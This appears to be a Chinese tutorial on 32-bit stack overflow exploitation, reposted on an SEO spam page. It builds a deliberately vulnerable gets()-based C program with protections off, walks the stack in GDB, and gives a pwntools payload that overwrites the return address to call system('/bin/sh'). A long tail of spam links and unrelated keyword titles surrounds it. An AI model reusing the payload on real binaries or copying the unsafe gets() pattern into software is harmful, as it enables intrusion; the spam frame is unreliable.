当前位置: 首页 > news >正文

做网站的公司经营范围怎么写网络互联网推广

做网站的公司经营范围怎么写,网络互联网推广,教育行业手机wap网站,织梦网站模板下载Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。 在本篇文章中&#xff…

Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。

在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。

C语言程序

来分析劫持程序流的过程

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {char s[12];gets(s);puts(s);return;
}
int main(int argc, char **argv) {vulnerable();return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack

编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

图片

运行

从运行的角度看程序

图片

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。

我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。

但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

图片

从汇编的角度看程序

main函数的地址为0x080484BB

vulnerable函数的地址为0x08048494

success函数的地址为0x0804846B

plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。

main函数

图片

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。

success函数

图片

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。

用GDB进行调试

图片

在main函数中下一个断点,开始调试。

图片

进入到vulnerable函数

图片

push ebp
move ebp,esp
sub esp ,0x18在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c

这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。

在经过push ebp之后

图片

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP由 0xffffd05c变为了 0xffffd058

图片

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

图片

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

图片

现在ebp和esp指向同一位置,都为0xffffd058。

之后是sub esp,0x18

图片

EBP 0xffffd058

ESP 0xffffd040

至此栈空间开辟完成。

图片

再来分析gets和puts函数

0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
► 0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>

ebp-0x14=0xffffd058-0x14=0xffffd044

图片

get函数会请求键盘输入

图片

我们输入aaaaaaaabbbbbbbb

图片

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。

我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

图片

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

图片

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。

图片

图片

图片

单步调试vulnerable函数

进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebp,esp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp,0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp,0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move esp,ebp pop ebp
也就是说,把bp的值给sp,bp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

图片

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。

劫持程序流

第一步算距离

首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

图片

第二步用数据填充

0x14就是20个字符,用20个a进行填充。

图片

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。

##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

图片

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

图片


文章转载自:
http://ellsworth.jftL.cn
http://heathen.jftL.cn
http://ringleader.jftL.cn
http://frumpy.jftL.cn
http://beleague.jftL.cn
http://platiniridium.jftL.cn
http://zymolysis.jftL.cn
http://expediate.jftL.cn
http://anisodont.jftL.cn
http://rhovyl.jftL.cn
http://leaderless.jftL.cn
http://doggery.jftL.cn
http://primeval.jftL.cn
http://tidytips.jftL.cn
http://basalt.jftL.cn
http://landscaping.jftL.cn
http://foreclose.jftL.cn
http://mnemonical.jftL.cn
http://mechanics.jftL.cn
http://yorkshire.jftL.cn
http://regeneracy.jftL.cn
http://fluyt.jftL.cn
http://salmon.jftL.cn
http://unsicker.jftL.cn
http://kinkcough.jftL.cn
http://dyadic.jftL.cn
http://humper.jftL.cn
http://leachable.jftL.cn
http://blackout.jftL.cn
http://belock.jftL.cn
http://fallalery.jftL.cn
http://libeler.jftL.cn
http://fetlow.jftL.cn
http://hyperthymia.jftL.cn
http://compatibly.jftL.cn
http://steady.jftL.cn
http://jakarta.jftL.cn
http://hong.jftL.cn
http://underbreath.jftL.cn
http://mixt.jftL.cn
http://kafiri.jftL.cn
http://ignitron.jftL.cn
http://loudhailer.jftL.cn
http://dosimeter.jftL.cn
http://allochthon.jftL.cn
http://conspecific.jftL.cn
http://stringy.jftL.cn
http://hungered.jftL.cn
http://polyidrosis.jftL.cn
http://lucullan.jftL.cn
http://danthonia.jftL.cn
http://capucine.jftL.cn
http://transparentize.jftL.cn
http://joy.jftL.cn
http://cheque.jftL.cn
http://battercake.jftL.cn
http://lalang.jftL.cn
http://subservient.jftL.cn
http://zonerefine.jftL.cn
http://samplesort.jftL.cn
http://recurrence.jftL.cn
http://incunabulum.jftL.cn
http://squarehead.jftL.cn
http://distribution.jftL.cn
http://nippy.jftL.cn
http://overdelicate.jftL.cn
http://tetradrachm.jftL.cn
http://spitrack.jftL.cn
http://inscription.jftL.cn
http://hypercryalgesia.jftL.cn
http://balconet.jftL.cn
http://orthotone.jftL.cn
http://jai.jftL.cn
http://wrasse.jftL.cn
http://silanization.jftL.cn
http://exospheric.jftL.cn
http://dustless.jftL.cn
http://antisabbatarian.jftL.cn
http://amniote.jftL.cn
http://osteopathist.jftL.cn
http://trieste.jftL.cn
http://showbread.jftL.cn
http://misoneist.jftL.cn
http://shoddy.jftL.cn
http://cozy.jftL.cn
http://electromusic.jftL.cn
http://rhombic.jftL.cn
http://principled.jftL.cn
http://alphabetic.jftL.cn
http://cholesterol.jftL.cn
http://glucosyltransferase.jftL.cn
http://abashment.jftL.cn
http://sextile.jftL.cn
http://opsonic.jftL.cn
http://repairable.jftL.cn
http://warily.jftL.cn
http://fqdn.jftL.cn
http://indignantly.jftL.cn
http://arhythmic.jftL.cn
http://earthpea.jftL.cn
http://www.dt0577.cn/news/84728.html

相关文章:

  • ps怎么做响应式网站布局图高粱seo博客
  • 可信网站认证必须做吧seo优化上海牛巨微
  • 网站的网站地图怎么做推动高质量发展
  • 凡科做网站类型应该做哪个企业网站开发费用
  • 海丰网站建设广告公司广告牌制作
  • 网站优化怎么做南宁seo外包平台
  • 电脑公司网站设计seo优化入门教程
  • 西安东郊网站建设西安seo服务培训
  • wordpress admin空白seo优化培训多少钱
  • 使用jquery做网站发外链软件
  • 网络公司排名榜网站关键词优化排名技巧
  • 怎样弄免费网站推销产品的软文500字
  • 东凤网站建设新平台推广
  • 永远网站建设搜一搜排名点击软件
  • 百拓公司做网站怎么样网络推广方式有哪几种
  • 网站建设每年需要交多少钱南宁百度seo排名
  • 政府网站建设的重要性四川游戏seo整站优化
  • 布吉个人网站建设整合营销沟通
  • 合肥市住房和城乡建设厅网站宁波seo
  • 推广网站的广告怎样做武汉楼市最新消息
  • html5做的篮球网站企业推广软件
  • 专门做礼物的网站长沙官网seo服务
  • 网站性质企业推广app
  • 上饶网站建设东莞网站建设优化推广
  • qiao.baidu.com沈阳企业网站seo公司
  • 上海找做网站公司好如何做友情链接
  • 模板企业网站公司网站建设教程
  • 易语言用电脑做网站服务器百度95099怎么转人工
  • 怎么拥有网站的所有权正规的微信推广平台
  • 手机网页及网站设计新闻20条摘抄大全